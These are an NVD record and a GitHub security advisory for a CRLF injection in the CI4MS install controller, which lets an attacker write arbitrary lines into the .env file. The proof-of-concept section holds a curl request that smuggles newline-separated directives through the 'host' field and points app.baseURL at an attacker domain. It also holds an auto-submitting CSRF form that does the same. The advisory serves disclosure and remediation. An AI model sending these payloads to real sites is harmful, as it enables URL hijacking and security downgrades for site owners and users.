{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache(\u0027settings\u0027) is empty (cache expiry or fresh deployment). This vulnerability is fixed in 0.31.4.0."
    }
  ],
  "id": "CVE-2026-39394",
  "lastModified": "2026-04-08T21:26:13.410",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-08T15:16:14.360",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-93"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:16:12Z",
    "nvd_published_at": "2026-04-08T15:16:14Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache(\u0027settings\u0027)` is empty (cache expiry or fresh deployment).\n\n## Details\n\nIn `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35:\n\n```php\n// line 32-41\n$updates = [\n    \u0027CI_ENVIRONMENT\u0027 =\u003e \u0027development\u0027,\n    \u0027app.baseURL\u0027 =\u003e \u0027\\\u0027\u0027 . $this-\u003erequest-\u003egetPost(\u0027baseUrl\u0027) . \u0027\\\u0027\u0027,\n    \u0027database.default.hostname\u0027 =\u003e $this-\u003erequest-\u003egetPost(\u0027host\u0027),  // NO VALIDATION\n    \u0027database.default.database\u0027 =\u003e $this-\u003erequest-\u003egetPost(\u0027dbname\u0027),\n    // ...\n];\n```\n\nThis value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string:\n\n```php\n// line 94-98\nforeach ($updates as $key =\u003e $value) {\n    $pattern = \u0027/^\u0027 . preg_quote($key, \u0027/\u0027) . \u0027=.*/m\u0027;\n    $replacement = \"{$key}={$value}\";\n    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n    else $contents .= PHP_EOL . $replacement;\n}\n```\n\nSince the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim \u2014 including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`.\n\nThe `dbpassword` field (line 17) is a secondary vector \u2014 its validation (`permit_empty|max_length[255]`) does not reject newline characters.\n\n**Access conditions:**\n- CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`.\n- `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache(\u0027settings\u0027)` is populated. The endpoint is accessible during fresh install or after cache expiry/clear.\n\n**Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable.\n\n## PoC\n\n**Scenario:** Application is deployed but cache has expired (or fresh install window).\n\n```bash\n# Inject app.baseURL override and disable secure requests via host parameter\n# The %0a represents a newline that creates new .env lines\ncurl -X POST \u0027http://target/install/\u0027 \\\n  -d \u0027baseUrl=http://target/\u0026dbname=ci4ms\u0026dbusername=root\u0026dbpassword=\u0026dbdriver=MySQLi\u0026dbpre=ci4ms_\u0026dbport=3306\u0026name=Admin\u0026surname=User\u0026username=admin\u0026password=Password123\u0026email=admin@example.com\u0026siteName=TestSite\u0026host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\u0027\n```\n\n**Expected result:** The `.env` file will contain:\n\n```\ndatabase.default.hostname=localhost\napp.baseURL=http://evil.example.com/\napp.forceGlobalSecureRequests=false\nsession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\n```\n\nThese injected lines override the legitimate `app.baseURL` set earlier (CI4\u0027s DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling.\n\n**CSRF exploitation variant** (no direct access needed):\n\n```html\n\u003c!-- Hosted on attacker site, victim admin visits while cache is empty --\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://target/install/\"\u003e\n  \u003cinput name=\"baseUrl\" value=\"http://target/\"\u003e\n  \u003cinput name=\"host\" value=\"localhost\u0026#10;app.baseURL=\u0027http://evil.example.com/\u0027\"\u003e\n  \u003c!-- ... other required fields ... --\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n```\n\n## Impact\n\nAn unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:\n\n- **Application URL hijacking** \u2014 injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure\n- **Security downgrade** \u2014 disabling `forceGlobalSecureRequests`, CSP, or other security settings\n- **Session manipulation** \u2014 changing session driver or save path configuration\n- **Full application reconfiguration** \u2014 the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service)\n- **Database redirect** \u2014 while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior\n\nThe attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.\n\n## Recommended Fix\n\n1. **Add validation for the `host` parameter** \u2014 reject newlines and restrict to valid hostnames/IPs:\n\n```php\n// In $valData, add:\n\u0027host\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Install.databaseHost\u0027), \u0027rules\u0027 =\u003e \u0027required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]\u0027],\n```\n\n2. **Sanitize all values in `updateEnvSettings()`** \u2014 strip newlines from replacement strings:\n\n```php\nprivate function updateEnvSettings(array $updates)\n{\n    $envPath = ROOTPATH . \u0027.env\u0027;\n    if (!file_exists($envPath)) return [\u0027error\u0027 =\u003e \"\u0027.env\u0027 file not found.\"];\n    $contents = file_get_contents($envPath);\n    foreach ($updates as $key =\u003e $value) {\n        $value = str_replace([\"\\r\", \"\\n\"], \u0027\u0027, (string) $value);  // Strip CRLF\n        $pattern = \u0027/^\u0027 . preg_quote($key, \u0027/\u0027) . \u0027=.*/m\u0027;\n        $replacement = \"{$key}={$value}\";\n        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n        else $contents .= PHP_EOL . $replacement;\n    }\n    file_put_contents($envPath, $contents);\n    return true;\n}\n```\n\n3. **Add newline validation to `dbpassword`** \u2014 add `regex_match[/^[^\\r\\n]*$/]` to the validation rules.\n\n4. **Strengthen `InstallFilter`** \u2014 consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).",
  "id": "GHSA-vfhx-5459-qhqh",
  "modified": "2026-04-08T19:16:12Z",
  "published": "2026-04-08T19:16:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39394"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller"
}